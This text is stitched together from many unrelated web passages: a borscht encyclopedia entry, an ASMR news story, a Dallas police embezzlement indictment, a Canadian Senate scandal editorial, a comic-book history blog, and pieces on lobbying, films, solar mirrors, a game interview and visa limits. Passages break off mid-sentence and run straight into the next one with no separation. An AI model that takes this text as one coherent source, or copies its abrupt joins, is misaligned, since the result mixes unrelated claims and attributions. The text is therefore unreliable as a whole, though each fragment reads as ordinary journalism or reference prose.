As well as the thick borschts described above, Polish cuisine offers a ruby-colored beetroot bouillon known as barszcz czysty czerwony, or clear red borscht. It is made by combining strained meat-and-vegetable stock with wild mushroom broth and beet sour. In some versions, smoked meat may be used for the stock and the tartness may be obtained or enhanced by adding lemon juice, dill pickle brine, or dry red wine. It may be served either in a soup bowl or – especially at dinner parties – as a hot beverage in a twin-handled cup, with a croquette or a filled pastry on the side. Unlike other types of borscht, it is not whitened with sour cream. Barszcz wigilijny, or Christmas Eve borscht, is a variant of the clear borscht that is traditionally served during the Polish Christmas Eve supper. In this version, meat stock is either omitted or replaced with fish broth, usually made by boiling the heads cut off from fish used in other Christmas Eve dishes. The mushrooms used for cooking the mushroom broth are reserved for uszka (small filled dumplings), which are then served with the borscht.
Ashkenazi Jews living in Eastern Europe adopted beetroot borscht from their Slavic neighbors and adapted it to their taste and religious requirements. As combining meat with milk is proscribed by kosher dietary laws, Jews have developed two variants of the soup: meat (fleischik) and dairy (milchik). The meat variant is typically made from beef brisket (pork is never used ) and cabbage, while the dairy one is vegetarian, blended with sour cream or a mixture of milk and egg yolks. Both variants typically contain beetroots and onions, and are flavored with beet sour, vinegar or citric acid for tartness and beet sugar for sweetness. Galician Jews traditionally liked their borscht particularly sweet. Jewish borscht may be served either hot or cold, typically with a hot boiled potato on the side. In prewar Eastern Europe it was traditionally put up to ferment around Purim so that it would be ready four weeks later for the Passover holiday.
Cold borscht [ edit ]
Šaltibarščiai, or Lithuanian cold borscht, blended with sour cream or yogurt, and sprinkled with chives, or Lithuanian cold borscht, blended with sour cream or yogurt, and sprinkled with chives
In the summertime, cold borscht is a popular alternative to the aforementioned variants, which are normally served hot. It consists of beet sour or beet juice blended with sour cream, buttermilk, soured milk, kefir or yogurt. The mixture has a distinctive pink or magenta color. It is served refrigerated, typically over finely chopped beetroot, cucumbers, radishes and green onion, together with halves of a hard-boiled egg and sprinkled with fresh dill. Chopped veal, ham, or crawfish tails may be added as well.
This soup probably originated in the Grand Duchy of Lithuania, which comprised the territories of modern-day Lithuania and Belarus, and it is still part of the culinary traditions of these and neighboring nations. The Lithuanian language is the only one in the region which actually refers to it as 'cold borscht' (šaltibarščiai). In Belarusian it is known simply as khaladnik,[g] or 'cold soup'; in Polish as chłodnik litewski, or 'Lithuanian cold soup'; and in Russian as svekolnik,[h] or 'beetroot soup'.
Without beets [ edit ]
Although in the English language borscht refers almost invariably to a beet-based soup, in some culinary cultures there exist soups with the same or similar names where beetroots are absent or merely optional. The principal common trait among them is a tart flavor obtained by adding various sour-tasting ingredients.
Green borscht (zeleny borshch[i]), a light soup made from leaf vegetables, is an example |
tells news.com.au.
“I thought, ‘Why is that person whispering?’. It was weird. But after I experienced it properly I thought, ‘I like the way they’re whispering’, then I really liked it, and after a while I made the decision to do it myself.”
Since jumping in to ASMR and starting her own YouTube channel, the Whispering Mum has gained millions of followers, joining the ranks of US artist ‘Maria’, whose videos can garner more than 10 million views.
Believers in ASMR, Ms Fenton explains, experience a release of chemicals brought on by the calming tones.
“Whether its ceratonin, melatonin or OxyContin, it has an effect on people — not everyone — that takes a person back to a childhood memory that’s comforting,” she says.
“If your mother tapped her fingers, brushed your hair, looked into your eyes, those are communication symbols that elicit a response, and when someone has that sensation they fall asleep very quickly.”
As well as assisting with sleep, Ms Fenton says her videos and one-one-one sessions in which she “just listens” to people, either live or recorded, or does “a number of role plays where I’m a personal trainer, a life coach or a counsellor”, also helps with more serious issues.
“I get people who say it’s relieved their depressions, they’ve decided not to kill themselves... It helps a lot with PTSD,” she says.
Ms Fenton and others who practice ASMR realise there’s no scientific study in the area that has decided whether it works or is suitable to treat these conditions.
In the psychology world, this has also been acknowledged, with many vocal members declaring ASMR “a load of crap”.
“It’s not listed in evidence-based therapies by any national bodies, it seems like something someone dreamt up to make a quick buck,” says clinical psychologist Bob Montgomery.
Dr Montgomery says that he’s wary of new treatments like ASMR, saying not only can they be ineffective, but potentially also damaging.
“What we have to do when people come to us after going through experimental treatments they believe can help them, is undo that damage. It’s not just useless, it makes them think there’s something terribly wrong with them,” he said.
“It’s fine if all you want to do is relax temporarily, but it’s not gong to have any lasting effects.”
Dr Montgomery recommended those seeking treatment for depression, PTSD, or any sleep disorders see a GP and get a referral.
Ms Fenton says ASMR is not supposed to be a magic solution to any of these issues.
“It’s not a miracle — it’s like a massage,” she says.
“But it’s not something small, it’s massive. As far as I know there’s no study being done at the moment. I don’t believe there’s any real research to anything that’s been done.”
Originally published as The weirdest YouTube craze yetDirector Alankrita Shrivastava won the Spirit of Asia award at the Tokyo International Film Festival with this ambitious narrative set in Bhopal. Rehana is the titular burkha wearer who sings at open mics in defiance of her father’s warnings; Shirin is a superstar saleswoman, but must keep this triumph a secret from her faithless husband; Leela is trying to juggle a Muslim lover, a Hindu fiancé and her dream career as a bridal consultant; and Auntie Usha secretly reads racy novels and lusts after her swimming instructor. Two of the women are Hindu, two are Muslim, but all their stories come together when they attempt to challenge the sexual and social norms of Indian patriarchy.
An all-star cast brings these characters to life, including Konkona Sen Sharma, Ratna Pathak Shah, and Vikrant Massey. Shrivastava’s forthright depictions of sexuality have raised questions whether LIPSTICK UNDER MY BURKHA will be released uncensored in India. Be sure to catch this inspiring dramedy in its original edit at IFFLA while you can.
Q&A to follow with director Alankrita ShrivastavThat photo you see at top is Dallas Police Department Senior Corporal Theadora Ross, in the middle, being escorted out of DPD HQ yesterday by FBI agents. Andrea was out there Wednesday morning, but at the time, DPD and the feds refused to comment on Ross's arrest. They promised all would be revealed this morning, once court documents were unsealed following Ross's appearance in U.S. Magistrate Judge Jeff Kaplan's courtroom.
Tanya Eiserer's story suggested Ross would face federal charges for embezzling at least $250,000 from the Dallas Crime Stoppers program. Sure enough: The U.S. Attorney's Office just sent the freshly unsealed court docs, along with the announcement that a federal grand jury has indicted Ross and co-defendant Malva Delley on one count each of conspiracy to commit wire fraud in connection with the crime-tips-for-cash program. They're accused of stealing at least $250,000 from Crime Stoppers.
The indictment and release follow, detailing the charges against the 50-year-old Ross and 36-year-old Delley. If convicted, the two face up to 20 years in prison and a $250,000 fine.
Continue Reading
From the U.S. Attorney's Office press release:
According to the indictment, which was just unsealed, Ross worked at the Dallas Crime Stoppers office from 2003 to May 2010, and headed that office from March 2006 to May 2010. A "tipster" who called the Crime Stoppers office with information would receive a "tip number." The tipster then periodically called the Crime Stoppers office to find out if his information resulted in a reward. Ross, and other law enforcement officers assigned to the office, determined which tips were eligible for a cash reward based on the quality of information the tipster provided and whether the ultimate arrest or indictment of a particular subject was actually related to the tip provided. Ross selected the tips that would be presented to the NTCC for approval of a cash reward. Once the NTCC gave its approval, the anonymous tipster could call the Crime Stoppers office with his previously assigned tip number and would be provided a tip number and code word. These tip numbers and code words were emailed to JP Morgan Chase Bank. The anonymous tipster was required to present the tip number and code word, in person, at Chase Bank, to collect his reward. The indictment alleges, however, that as part of their scheme, Ross sent JP Morgan Chase Bank the Crime Stoppers cash reward list that included both legitimate code words as well as tip numbers and code words for tips that Ross had altered. Ross gave Delley the bogus tip information, including tip numbers and code words necessary to collect the rewards. After Delley presented the bogus tip numbers and code words to a bank teller at JP Morgan Chase and collected the reward, she would divide the cash, per Ross's instruction, with Ross, by either depositing it into Ross's personal bank account or by giving cash directly to Ross. From February 2005 through May 2010, the conspirators collected at least $250,000 in cash rewards for bogus tips, resulting in a loss to the North Texas Crime Commission. However, no false arrests were made based on Ross's actions.
Jump for more.
Update at 2:24 p.m.: DPD has sent a statement concerning the arrest of Ross, a 26-year veteran of the department. After reiterating the charges made in the indictment, the statement offers: "Although no one was arrested, charged, or prosecuted because of the purported acts of the officer, the Dallas Police Department views her suspected activity as a major breach of public trust and fully supports the investigation of the incident and, given the investigation's findings, follow-up prosecution. Now that the arrest has been made, an administrative investigation into the officer's conduct has begun as well."
FORMER HEAD OF DALLAS CRIME STOPPERS OFFICE INDICTED
Defendants Collected at Least $250,000 in Cash Rewards for Bogus Tips DALLAS -- A federal grand jury in Dallas has indicted Dallas Police Department Senior Corporal Theadora Ross and co-defendant Malva R. Delley each on one count of conspiracy to commit wire fraud in connection with the Dallas Crime Stoppers program, announced U.S. Attorney James T. Jacks of the Northern District of Texas. Ross, 50, of Rowlett, Texas, was arrested midday yesterday and appeared before U.S. Magistrate Judge Jeff Kaplan late in the afternoon. She was released on bond. Delley, 36, is a Dallas resident. The Crime Stoppers program is a nationwide program that offers cash rewards for information from anonymous callers that leads to the arrest and indictment of criminals. The program guarantees the anonymity of callers to promote a positive atmosphere without the prospect of retribution. The Dallas Crime Stoppers office is funded by the North Texas Crime Commission (NTCC), fines levied by the Dallas and Collin County courts, private donations and fund raising. The office is staffed by officers of the Dallas Police Department and deputies of the Dallas County Sheriff's Office. According to the indictment, which was just unsealed, Ross worked at the Dallas Crime Stoppers office from 2003 to May 2010, and headed that office from March 2006 to May 2010. A "tipster" who called the Crime Stoppers office with information would receive a "tip number." The tipster then periodically called the Crime Stoppers office to find out if his information resulted in a reward. Ross, and other law enforcement officers assigned to the office, determined which tips were eligible for a cash reward based on the quality of information the tipster provided and whether the ultimate arrest or indictment of a particular subject was actually related to the tip provided. Ross selected the tips that would be presented to the NTCC for approval of a cash reward. Once the NTCC gave its approval, the anonymous tipster could call the Crime Stoppers office with his previously assigned tip number and would be provided a tip number and code word. These tip numbers and code words were emailed to JP Morgan Chase Bank. The anonymous tipster was required to present the tip number and code word, in person, at Chase Bank, to collect his reward. The indictment alleges, however, that as part of their scheme, Ross sent JP Morgan Chase Bank the Crime Stoppers cash reward list that included both legitimate code words as well as tip numbers and code words for tips that Ross had altered. Ross gave Delley the bogus tip information, including tip numbers and code words necessary to collect the rewards. After Delley presented the bogus tip numbers and code words to a bank teller at JP Morgan Chase and collected the reward, she would divide the cash, per Ross's instruction, with Ross, by either depositing it into Ross's personal bank account or by giving cash directly to Ross. From February 2005 through May 2010, the conspirators collected at least $250,000 in cash rewards for bogus tips, resulting in a loss to the North Texas Crime Commission. However, no false arrests were made based on Ross's actions. An indictment is an accusation by a federal grand jury and a defendant is entitled to the presumption of innocence unless proven guilty. However, if convicted, Ross and Delley each face a maximum statutory sentence of 20 years in prison and a $250,000 fine. Restitution could also be ordered. The case is being investigated by the FBI and Dallas Police Department - Public Integrity Unit and prosecuted by Assistant U.S. Attorneys Errin Martin and Rick Calvert.
ross_delley_indictmentIs anyone telling the truth in the getting-worse-by-the-day Senate scandal?
Disgraced Mike Duffy launches a vitriolic tirade against the prime minister and his office, in which he claims Stephen Harper told him to repay improperly claimed expenses. Harper acknowledges doing that, but says he knew nothing about the $90,000 payment from his chief of staff to Duffy, intended to repay the expenses. Duffy alleges Harper's current chief of staff, Ray Novak, knew about the payment and is involved in the "monstrous political scheme." Duffy, highly-paid retired journalist and senator, incredibly claimed he didn't have the money to repay the expenses.
Senator Pamela Wallin takes the stand and claims that rules were changed for the purpose of inflaming public opinion against her, that she is the victim of a Conservative campaign that has "left her reputation in tatters." She also says she was ordered to resign from the Conservative caucus by the same Harper staffer.
Harper and his closest supporters won't address the broader allegations about his and the PMO's involvement. They will only defend him for ordering the repayment.
That position has been tenuous from the start and won't wash any longer. Harper needs to tell Parliament everything he knows about the whole affair. He should release any relevant records. He needs to come clean and do so as soon as humanly possible.
He should do this because it's the right thing for a credible national leader to do. But he should also do it because only full disclosure will make this go away. His office's strategy on managing the crisis so far is a dismal failure. Over nearly a year, it has changed stories, stonewalled, and tried to deflect to other news. Nothing has worked.
Even if he does that — and given his track record it's not likely — the damage already done is considerable. His personal credibility is hanging by a thread. The scandal is so big and dirty, it will prevent him from accomplishing a major commitment: Senate reform. Whatever moves he makes on that file now are bound to look like more dodging and weaving to keep him and his office from being directly linked, not only to the scandal but to how the Harper Conservatives have mismanaged it since the story broke 11 months ago.
The allegations made by the disgraced senators are deadly serious. They claim the PMO is managing the investigative and discipline process, interfering in the Senate's operation, and doing it all for political reasons that have nothing to do with hearing all sides of the story and then rendering a fair decision.
Typically, Canadians don't care much about the Senate. They care now, and for all the wrong reasons. Never mind abolition. Bring in the cameras and sell tickets. You can't make this stuff up.
Howard ElliottSo the Boston Marathon was today.
I know this because I live right by the Marathon starting point, and I spent the last six hours praying to every god above that I didn’t have to deal with the traffic (long story short, I did…it wasn’t fun). Anyway, spending all that time thinking about running got me thinking about comic book speedsters and provided the inspiration for today’s article.
Anyone with even the the most basic comic book/pop culture knowledge can probably name one speedster.
It’s an incredibly useful power to have and many of these heroes who possess super speed are capable of going toe to toe with opponents who, at least on paper, are even more powerful than they are.
But here’s the thing, I’ve already covered two Golden Age speedsters: the first and original Flash from DC Comics.
and the spectacularly named “Whizzer” from Timely Comics, who got his power from mongoose blood (swear to God, not making that up).
But here’s the thing, the Whizzer was not Timely’s first attempt to imitate the Flash and create a speedster. That honor goes to the original god of speed himself: Mercury.
Origin and Career:
Mercury appeared in Red Raven Comics #1 which was published in August of 1940.
Mercury’s first and only Golden Age appearance was actually pretty important to the world of comics. For starters he was created by writer Martin A. Burnsten and the man, the myth, and the perpetual loser of hard earned credit, Jack Kirby.
Mercury was also one of the first instances of Timely Comics using actual mythological gods from history in their comics since Mercury was the Roman name for Hermes, the original speedster from antiquity.
This is a strategy that would pay off big for Marvel in the future.
Anyway, in Timely’s story the Greek god Zeus looked down on Earth and saw it was being ravaged by war. It’s worth re iterating that this comic was published in 1940.
Zeus deduced that his evil brother Pluto (you may also know him as Hades) was the one responsible for this madness and sent Mercury down to Earth in order to make things right.
Mercury meets his uncle who is posing as the power mad dictator of “Prussialand” (subtle Kirby…really subtle) and when talk fails the god of speed proceeds to wreck Prussialand’s plans despite the best efforts of a Prussialand spy named Thea Shilhausen and does such a good job that Prussialand effectively surrenders and peace talks begin.
The comic ends with peace being restored and Mercury returning to Olympus.
So what happened?
Red Raven Comics would only last one issue. The very next month it was replaced by a new hero who would go on to become a Timely Comics staple: The Human Torch.
But the idea of having a Greek god in Marvel’s library wouldn’t go away and and over thirty years later it would come roaring back.
See Kirby was a HUGE fan of ancient gods and mythology and it would be a huge influence in his later work. Probably his most famous example was when he left Marvel in 1971 to work for DC. The reason? Well, Kirby had spent the 1960’s creating many of Marvel’s most iconic superheroes with Stan Lee.
Bear in mind, this is just a small sample of what Lee and Kirby created but unfortunately there was some disagreement over who did what and Jack wasn’t too happy with what Marvel was paying him.
When Kirby came to work for DC he created a comic book series called “The Fourth World” which branched off into titles such as “New Gods”.
The Fourth World Saga is a massive heady mix of mythology and modern culture and to talk about it would take an entire book on its own. Unfortunately, the Fourth World didn’t sell as well as Kirby’s Marvel creations. However, he was responsible for creating one of DC’s most iconic and dangerous villains in the entire DC universe: Darkseid.
Kirby would return to Marvel in 1976 and it could easily be said that his time at DC had a profound effect on his work. Marvel let Kirby create a series called The Eternals and it’s fairly easy to see the similarities between The Eternals and The New Gods.
Like the New Gods, the Eternals were a group of god like beings who possessed incredible powers and long lives. They fought against groups such as the Deviants
and to go any further would be getting into Marvel’s cosmic history which, like the New Gods, is incredibly complicated and dense and would require much more time to explain here.
One of these Eternals was a being named Makkari.
Makkari was an Enternal who had spent quite a lot of time on Earth. In the series he helped teach writing to the Egyptians, learned philosophy from Plato, witnessed the reign of Vlad the Impaler, and even taught Elvis a few tricks.
But most importantly he was sent to Earth by the Eternal Zuras
under the aliases of Mercury and Hurricane, which was the name of another Marvel speedster from the 1940’s.
In a stroke of genius Kirby had changed his original 1940’s work from a one off tale about a Greek god coming to Earth to thrusting him into the middle of a rich and complex celestial story that still has a tremendous impact in the Marvel Universe today.
Seriously, Kirby was the man!
AdvertisementsHarris County, Texas, prosecutors dropped charges Tuesday against two anti-abortion activists involved in a series of undercover videos against Planned Parenthood. File photo by Roger L. Wollenberg/UPI | License Photo
HOUSTON, July 26 (UPI) -- Criminal charges were dropped Tuesday against two anti-abortion activists who secretly recorded Planned Parenthood officials in Houston.
The Harris County District Attorney's office won't proceed with the case against David Daleiden, 27, and Sandra Merritt, 62, both of Davis, Calif., who were accused of using fake California driver's licenses to enter the Planned Parenthood Gulf Coast office and record staff discussing costs of providing fetal tissue for research.
Daleiden and Merritt were charged with tampering with a governmental record, a second-degree felony charge that carries up to 20 years in prison. A Harris County judge in June dismissed a second charge against Daleiden -- a misdemeanor of offering to sell or buy fetal tissue -- because of a technical problem with the indictment filed by prosecutors.
The video footage showed the two posing as representatives of a company called BioMax seeking to purchase fetal tissue for research. Planned Parenthood said it refused to sell fetal organs for the offered price of $1,600.
RELATED House approves Conscience Protection Act to shield abortion objectors
The criminal charges came after a criminal investigation launched at the urging of Republican Lt. Gov. Dan Patrick into Planned Parenthood after the release of the activists' recordings.
But a Harris County grand jury in January instead charged Daleiden and Merritt.
Daleiden's lawyers wanted the charges dismissed because they allege the grand jury exceeded its authority. DA Devon Anderson issued a statement saying Texas law prohibited his office from investigating Daleiden Merritt after the grand jury term was extended.
RELATED Supreme Court strikes down Texas abortion law that closed clinics
"In light of this and after careful research and review, this office dismissed the indictments," Anderson said.
Daleiden released several videos last year while working undercover for his group, Center for Medical Progress, allegedly showing Planned Parenthood clinics across the country selling fetal tissue, a violation of federal law.Corporate headhunters are sizing up the K Street prospects of the retiring members of the 112th Congress — and they like what they see.
Twenty-five representatives and senators so far have announced they will retire from Capitol Hill after this year’s election. Executives who work to place ex-lawmakers at law firms, lobby shops and corporate boards are monitoring the outgoing lawmakers and discussing who could go where — and how much they would earn.
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“We are doing a mock draft with some of our clients,” Ivan Adler, a principal with the McCormick Group, told The Hill.
The retiring class includes lawmakers who are known for their bipartisan ties, and others who have spent decades on Capitol Hill accruing seniority on powerful committees. That mix of attributes has many on K Street licking their chops.
“As a retiring class goes, this is a very valuable class. A lot of these members are marketable and will be welcomed by K Street with open arms,” Adler said, noting that committee experience will be key.
“More than the actual members retiring, it’s the committees they’re retiring from.”
Among the prized recruits: Sens. Jeff Bingaman (D-N.M.), chairman of the Energy and Natural Resources Committee; Jon Kyl (R-Ariz.), minority whip and a member of the Finance Committee; and Ben Nelson (D-Neb.), chairman of the Agriculture subcommittee on Commodities, Markets, Trade and Risk Management.
Looking to 2013, headhunters said an ex-Republican senator would likely receive the biggest offers from law and lobbying firms. The least-compensated would likely be a former House Democrat, they said.
Former senators could expect to earn somewhere between $800,000 and $1.5 million in annual salary next year at lobby firms, while ex-House members could earn between $300,000 and $600,000, headhunters estimated. They predicted ex-Republican lawmakers would draw bigger salaries than retiring Democrats.
“It’s a good class, if not a great class, if certain things happen. It’s like wine,” said Larry Latourette, president of Veritas Lex, a headhunting firm that looks to place lawyers and lobbyists at firms.
Those “certain things” are the Democrats regaining control of the House in November while keeping a majority in the Senate. With the bulk of the retirements coming so far from the blue side of the aisle, their value on K Street would soar if Democrats ran both chambers of Congress.
Latourette said retiring GOP lawmakers are safe bets for lobby shops, while Democrats could be high-risk, high-reward.
“Republicans are bonds. Dems are the options you play with the last 20 percent of your money,” Latourette said.
Several headhunters said lawmakers are typically averse to registering as lobbyists, preferring instead to become senior advisers who consult and strategize on how to lobby. Rarely do they wish to advocate face to face with their former colleagues.
“No one wants to be Abramoff,” Latourette said, referring to the once-jailed lobbyist whose tactics became infamous. “There is a definite stigma associated with it, which is being identified as a lobbyist.”
But even without traditional shoe-leather lobbying, ex-lawmakers will be highly prized by K Street.
Julian Ha, who leads the government affairs practice at executive search firm Heidrick & Struggles, said Kyl and Sen. Kay Bailey Hutchison (R-Texas) would be top targets.
“They have got star power and brand-name recognition, so if they wanted to move down the street to K Street, I’m sure they would find a home,” Ha said.
One retiring lawmaker who would break that mold would be Rep. Barney Frank (D-Mass.). Headhunters said Frank, the co-author of the Wall Street reform bill and former chairman of the House Financial Services Committee, has every tool needed to be a great lobbyist, coupled with a brand-name persona.
“Barney Frank can do anything he wants. He could teach. He could sit on some boards. He could be a senior adviser, a la Tom Daschle,” said Chris Jones, president of CapitolWorks, another headhunting firm.
There’s only one problem: Frank has “no interest whatsoever” in joining K Street.
“I was aware that I would be able to make a lot of money lobbying, but I wouldn’t enjoy it,” Frank told The Hill. “I want to write. I really have things I would like to say, and it’s nothing I have ever had an interest in doing.”
The Massachusetts Democrat said the lecture circuit might be one route for him.
“I want do some serious thinking and writing, but I can’t do that if I’m distracted,” Frank said. “I intend to give lectures for which I will get paid. There is a bit of a market there and I’m told I will do well there, but I want to do some serious writing.”
Lobby firms would love to have him if he changes his mind.
“Absolutely, but that’s not going to happen,” said Robert Raben, president of the Raben Group and a former Frank aide. “He’s just not that into you. It’s not his goal to be paid for this.”
Lobbyists and congressional aides said it’s still too soon for lawmakers to decide what their next move will be. An aide to retiring Rep. Jerry Lewis (R-Calif.), a former chairman of the House Appropriations Committee, said the lawmaker has only just started thinking about his future.
“Congressman Lewis has just begun the process of deciding what he will do once he retires beginning next January. He expects any plans to take shape much later in the year,” said Jim Specht, a spokesman for Lewis.
A Republican lobbyist close to Lewis said there are “hundreds of options” available to the lawmaker.
“I feel certain, [as with] his decision to retire from public service, he will take all the time he needs to figure out what he wants to do next,” the lobbyist said.In Satyagraha which Prakash Jha starts shooting in Bhopal on January 26, 2013 and which releases on August 15, Ajay Devgn would be playing a role modelled on activist-politician Arvind Kejriwal. The real-life figure, much in the news for his strident ideology and intense anti-corruption politics, would serve as the ‘role’ model for Devgn’s politics in Jha’s film.
According to a source, the Big B would be playing a role akin to Anna Hazare. “Like Kejriwal, Devgn’s character starts off as a disciple follower and supporter of Bachchan saab and then breaks away to tackle corruption on its own, in his own way,” says the source.
While desisting from discussing the genesis of the characters, Prakash Jha admits that the entire plot structure and the characters of Satyagraha are modelled on present-day Indian politics. “Audiences will immediately recognize the politicians in the film. The fight against corruption that a section of the conscientious politicians have undertaken is the core of our plot. Satyagrah is about how politics in our country has become big business, and why. The protest movements lack a sense of direction, let alone a completion and closure.”Satyagraha, says Prakash, is his most fiercely political film to date. “People thought my Raajneeti was highy political. But it was the Mahabharat retold. Satyagrah will pick up today’s political headlines and politicians whom we know and recognize, sometimes we love them. But that’s becoming increasingly hard to do.”Prakash jokes there should be a school educating youngsters in the art of organized political protest. “We’ve recently seen well-intended political protests coming to an uneasy halt. We need to get protest movements more organized in our country.”Press Prakash to reveal if Ajay Devgn’s character is based on Arvind Kejriwal and the director responds, “You will see distinct elements from today’s politics and politicians in Satyagraha. All that is happening in our country, the scams and corruption, the scamsters and protestors, the corruption and anti-corruption groups, are part of my film. In that sense this is my most political film ever.”Ajay would be doing extensive workshops to prepare for his part. “We don’t call it workshops. We call it readings. An actor of Ajay’s stature doesn’t need to attend workshops. I am very excited about working with him again. He has really evolved as an actor,” says Jha about his favourite actor.eSolar
A picture was worth 24,000 mirrors when eSolar, a company based in Pasadena, Calif., that specializes in solar thermal power, transformed a vast field of heliostats at its Southern California solar farm into a Fourth of July tableau of the American flag and the Statue of Liberty.
The Google-backed start-up, which is building solar farms for Southern California Edison, P.G.&E. and El Paso Electric, uses software and imaging technology to create a dynamic parabola from tens of thousands of closely packed mirrors, focusing the sun’s rays on water boilers that sit atop towers. The intense heat vaporizes the water to create steam that drives an electricity-generating turbine.
As the holiday weekend approached, eSolar’s software engineers got a bit creative.
“The programmers have very accurate software control over the field,” said eSolar’s chief executive, Bill Gross, in an e-mail message Friday evening.
The company’s five-megawatt Sierra demonstration power plant northeast of Los Angeles deploys 24,000 mirrors — each one capable of being individually moved by computer. “To celebrate Independence Day,” the company announced at its Web site late last week, “eSolar’s Sierra SunTower power plant has employed this high-precision technology to declare energy independence.”
The display, of course, was designed to show off eSolar’s technological prowess — and it’s not the first time the company has deployed the gimmick.
Mr. Gross, the founder of the tech-incubator Idealab, contends that eSolar can deliver electricity cheaper than natural gas by using sophisticated algorithms to control inexpensive and lightweight mirrors called heliostats.
“The bigger picture here is that we invested like crazy in Moore’s Law instead of more steel,” he said, referring to Intel’s co-founder, Gordon Moore, who famously remarked that computer processing power doubles about every two years.
“We have such precise control over the field that we can do anything with the mirrors we want,” Mr. Gross said, “and this is proof of it.”Guild Wars 2 is set to turn many of the traditional MMO tropes on their head. We speak to lead designer Eric Flannum about the state of the game as of now.
Q: You've recently finished closed beta testing. How has the reaction been to the game so far?
Eric Flannum: Reaction has been very good! Since we're still in beta and are not yet done with the game, there has been some very good constructive criticism coming from our testers, which of course is the purpose of a beta. Feedback from our testers has helped us to improve just about every aspect of the game and we are very grateful for all the hard work and time they put into the game.
To give you an idea about the how the beta testers are enjoying the game here are some choice quotes from a few of them:
"I went on an exploring rampage this afternoon and got my ranger to Lion's Arch. I wandered around in awe for awhile and then decided to go swimming to cool off. I was swimming through the beautiful underwater scenery when I suddenly realized that I was in the plaza of the original Lion's Arch with the obelisk (of sorts). I was surprised at how strong of an emotional reaction it gave me. There was a soft, atmospheric piece of music playing and I sat and stared at the ruins, thinking of how much time I'd spent there in the original game. It was very touching."
"I love simply going around and exploring; the world is simply magnificent. The little thing (well, not really so little) that made me LOVE exploring was finding hidden caves underwater and finding those AWESOME hidden areas with platforming (so far, I've only found the ones in Kessex Hills and Plains of Ashford)."
"...the engineer flamethrower: I love that thing like it's a person. So awesome."
"My first night in GW2 and I engaged in dynamic events, instanced quest lines, destroyed a wall with a trebuchet, created a guild, claimed a tower for my guild, killed my first enemy players, and escorted a supply train safely to its destination. Overall my first impression is: This is both an industry changer and a return to a tradition of online gaming that I had hoped for."
Q: Could you go through what have been some of the difficulties faced during development?
EF: A few things do stand out; for example, the way that our content is structured. We're doing things with our story and our dynamic event system that are quite different from what we've seen in other MMOs. It's been a huge challenge to not only implement the system, but learning how to design this type of content. In a lot of ways, the earliest parts of development on the game was spent retraining ourselves to understand and be able to design these different types of content. Had we set out to make a more traditional quest-based game, I'm certain it would have gone much more smoothly for us since we had made that type of game before with the first Guild Wars. Personally, I think it's been worth it both from the standpoint of how the game has turned out as well as how much doing this has forced all of us on the design team to grow as game designers.
Q: GW2 is changing a lot of the traditional structure of MMOs. Do you believe this game will influence other developers to break the mould?
EF: I'm not sure I can really speak to how other developers will perceive some of the things that we've done with the game, but if Guild Wars 2 somehow encourages them to take more chances I think that would be fantastic. I think many times people perceive that there is a lack of innovation in the genre because developers are "lazy" or have "run out of ideas." I think those criticisms couldn't be farther from the truth. Fans need to take into account that MMOs are huge, risky games to build. Guild Wars 2, for example, has taken nearly five years to develop with an experienced company of several hundred passionate developers behind it. That's a huge risk for any publisher to take and in those sorts of circumstances it's very natural for them to become more conservative.
Thankfully, with Guild Wars 2 we've been blessed with a publisher in NCsoft that has shown confidence in us and given us the support to try a lot of new things. If Guild Wars 2 is successful, then maybe we can get more publishers to take on that mindset and we can see more big budget MMOs willing to take more risks.
Q: What is keeping other developers from embracing the same no-subscription model that you have?
EF: I have no idea really. All I know is that charging for the game and then supporting continued development through micro transactions and expansions worked well for us with the first game and lead to our decision to continue that business model for Guild Wars 2.
Q: Guild Wars 2 tries to convey personal player stories. Is there anything that you've learned from the likes of SWTOR in terms of how or how not to attempt this?
EF: I'm not sure we've learned anything for SWTOR in particular, since our personal story system had been planned long before that game released. Story has always been an important part of our design just as it was in the first game. In addition to taking a look at how we had been telling story in Guild Wars we did take a look at games that we thought told great stories and many games by BioWare were certainly on that list. All of the great single-player RPGs that we've been playing for years have really influenced the development of the story of GW2.
Q: In what ways do you imagine the MMO market will change within the next few years?
EF: I think the MMO market will continue to grow. I think we'll see many single-player games integrating more MMO-like features while MMOs continue to explore new genres and platforms. I'd expect to see a large breakthrough MMO on console as well as on mobile platforms sometime in the next few years. At the same time, I really do hope we'll see MMOs becoming more and more diverse on the PC and gaining a larger market there as well.Special By By Sandy Dechert Dec 31, 2013 in Environment It's true, not just some snow job--stationary bikes have helped power 32,000 LED lights on New York City's six-ton New Year’s Eve Ball this year. The “After propelling themselves more than 11 million miles over the last seven months, Citi Bike riders will now have a chance to help propel New York City and the world into the New Year,” said Citi EVP of Global Public Affairs Edward Skyler. “The The energy experts urge you to " Kicking off the energy event at Citi Bike's Pedal Power Station on 7th Ave and 42nd St. on December 28 were Times Square New Year's Eve event co-organizers, Tim Tompkins, President of Times Square Alliance, and Jeffrey Straus, President of Countdown Entertainment; The Official Host of Times Square New Year's Eve, Allison Hagendorf; and Citi Executive Vice President for Global Public Affairs Edward Skyler.The kinetic energy the bikers generated was collected over three days and stored in batteries. With the regular New York City power grid, pedal power lights up the famous Times Square celebration at midnight.“After propelling |
up to 30 days). The requirements become increasingly strict and the mobility options increasingly limited the longer one seeks to stay abroad. 2. This map assumes that individuals seeking to travel have a valid passport and no criminal record. 3. The borders that are marked as “open” have one of two possible visa restrictions — either no visa requirement limiting mobility between the two countries or a “visa on arrival” requirement, which is denied only if an individual is unable to pay a visa fee (ranging from $100-$500) and not due to their country of birth. 4. Timatic, the database that most major airlines rely on for cross border documentation requirements, reports that they are now updating their database as often as 150 times a day, so the data informing this graphic is subject to change.
A Central American migrant making his way to the United States walks on train tracks in Arriaga, Mexico. (Reuters)
“Can you imagine what it would be like, knowing you could never see the snow?” Arav has been in the United States for four years now. His Indian accent is faint, and he speaks with a tone that gives even his most mundane assertions a sense of urgency. “Can you imagine knowing you could never see the places you’ve grown up watching in the movies — never even see the ocean? To feel trapped by the imaginary lines drawn around one’s country is a terrible thing.” Arav has met many people who made the dangerous journey across the southern US border — their families often sacrificing just so that they could attempt to reach America. Their stories make him feel fortunate that the circumstances of his birth gave him the opportunity to apply for a student visa. He’s spent the past years completing his graduate degree in biomedical engineering at an American university. While he had once dreamed of staying past his visa’s expiration date in order to find a good job, the current political climate has made him question these plans. Like Najia, he had dreamed of taking care of the family he left behind (in the Indian state of Andhra Pradesh) by following his passion — working at a Rehabilitation Biomechanics Laboratory to design improved prosthetics for amputees. “I think this country stands to lose a lot [from further restricting immigration]. There should be a desire to keep people who have taken advantage of the educational opportunities in the U.S. and now want to become productive members of the society.” While many media reports could lead you to believe that migrants entering the United States 